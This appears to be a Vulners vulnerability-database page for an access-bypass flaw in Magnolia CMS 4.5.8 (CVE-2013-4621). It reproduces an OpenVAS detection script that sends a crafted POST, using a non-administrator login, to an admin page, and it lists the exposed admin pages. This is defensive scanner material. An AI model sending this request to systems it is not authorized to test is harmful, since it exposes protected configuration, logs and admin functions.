Lucene search
K

Magnolia CMS Access Bypass Vulnerability

šŸ—“ļøĀ 01 Jul 2013Ā 00:00:00Reported byĀ Copyright (c) 2013 Greenbone Networks GmbHTypeĀ 
openvas
Ā openvas
šŸ”—Ā plugins.openvas.orgšŸ‘Ā 38Ā Views

Magnolia CMS Access Bypass Vulnerability. Successful exploitation allows attackers to bypass security restrictions, obtain sensitive information, and perform unauthorized actions. The flaw affects Magnolia CMS version 4.5.8 and prior, allowing non-administrator users to view sensitive pages. Solution is to upgrade to Magnolia CMS 4.5.9 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-4621
27 Dec 201920:40
–circl
CVE
CVE-2013-4621
27 Dec 201916:21
–cve
Cvelist
CVE-2013-4621
27 Dec 201916:21
–cvelist
EUVD
EUVD-2013-4477
7 Oct 202500:30
–euvd
NVD
CVE-2013-4621
27 Dec 201917:15
–nvd
OpenVAS
Magnolia CMS Access Bypass Vulnerability
1 Jul 201300:00
–openvas
Packet Storm
Magnolia CMS 4.5.8 Access Bypass
25 Jun 201300:00
–packetstorm
Prion
Design/Logic Flaw
27 Dec 201917:15
–prion
RedhatCVE
CVE-2013-4621
22 May 202506:20
–redhatcve
securityvulns
[Full-disclosure] Magnolia CMS multiple access control vulnerabilities
15 Jul 201300:00
–securityvulns
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_magnolia_access_bypass_vuln.nasl 6115 2017-05-12 09:03:25Z teissa $
#
# Magnolia CMS Access Bypass Vulnerability
#
# Authors:
# Arun Kallavi <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attackers to bypass certain security
  restrictions, obtain sensitive information and perform unauthorized actions.
  Impact Level: Application";

tag_affected = "Magnolia CMS version 4.5.8 and prior";
tag_insight = "The flaw allows non-administrator users to view contents from
  magnoliaPublic/.magnolia/log4j, /pages/logViewer.html,
  /pages/configuration.html, /pages/sendMail.html, /pages/permission.html,
  /pages/installedModulesList.html, and /pages/jcrUtils.html pages.";
tag_solution = "Upgrade to Magnolia CMS 4.5.9 or later,
  For updates refer to http://www.magnolia-cms.com";
tag_summary = "This host is running Magnolia CMS and is prone to access bypass
  vulnerability.";

if(description)
{
  script_id(803679);
  script_version("$Revision: 6115 $");
  script_cve_id("CVE-2013-4621");
  script_bugtraq_id(60761);
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-05-12 11:03:25 +0200 (Fri, 12 May 2017) $");
  script_tag(name:"creation_date", value:"2013-07-01 10:09:04 +0530 (Mon, 01 Jul 2013)");
  script_name("Magnolia CMS Access Bypass Vulnerability");
  script_xref(name : "URL" , value : "http://seclists.org/fulldisclosure/2013/Jun/202");
  script_xref(name : "URL" , value : "http://exploitsdownload.com/exploit/na/magnolia-cms-458-access-bypass");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8080);
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

# Variable Initialization
port = "";
host = "";
req = "";
res = "";
url = "";
postdata = "";
sndReq = "";
rcvRes = "";
c = "";

## Get HTTP Port
port = get_http_port(default:8080);
if(!port){
 port = 8080;
}

## Check the port status
if(!get_port_state(port)){
 exit(0);
}

## Get Host Name or IP
host = get_host_name();
if(!host){
  exit(0);
}

req = http_get(item:string("/magnoliaPublic/.magnolia/pages/adminCentral.html"), port:port);
res = http_send_recv(port:port, data:req);

## Confirm application
if(">Magnolia" >< res && ">Magnolia International Ltd" >< res)
{
  ## Construct the attack request
  url = "/magnoliaPublic/.magnolia/pages/installedModulesList.html ";
  Postdata = "mgnlUserId=eric&mgnlUserPSWD=eric";
  sndReq = string("POST ", url, " HTTP/1.1\r\n",
                  "Host: ", host,"\r\n",
                  "Referer: http://", host, url, "\r\n",
                  "Content-Type: application/x-www-form-urlencoded\r\n",
                  "Content-Length: ",strlen(Postdata), "\r\n\r\n",
                  Postdata);

  rcvRes = http_send_recv(port:port, data:sndReq);

  ## Check response and confirm the exploit
  if(rcvRes && ">Installed modules" >< rcvRes && "Name" >< rcvRes &&
               "Description" >< rcvRes)
  {
    security_message(port:port);
    exit(0);
  }
}

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation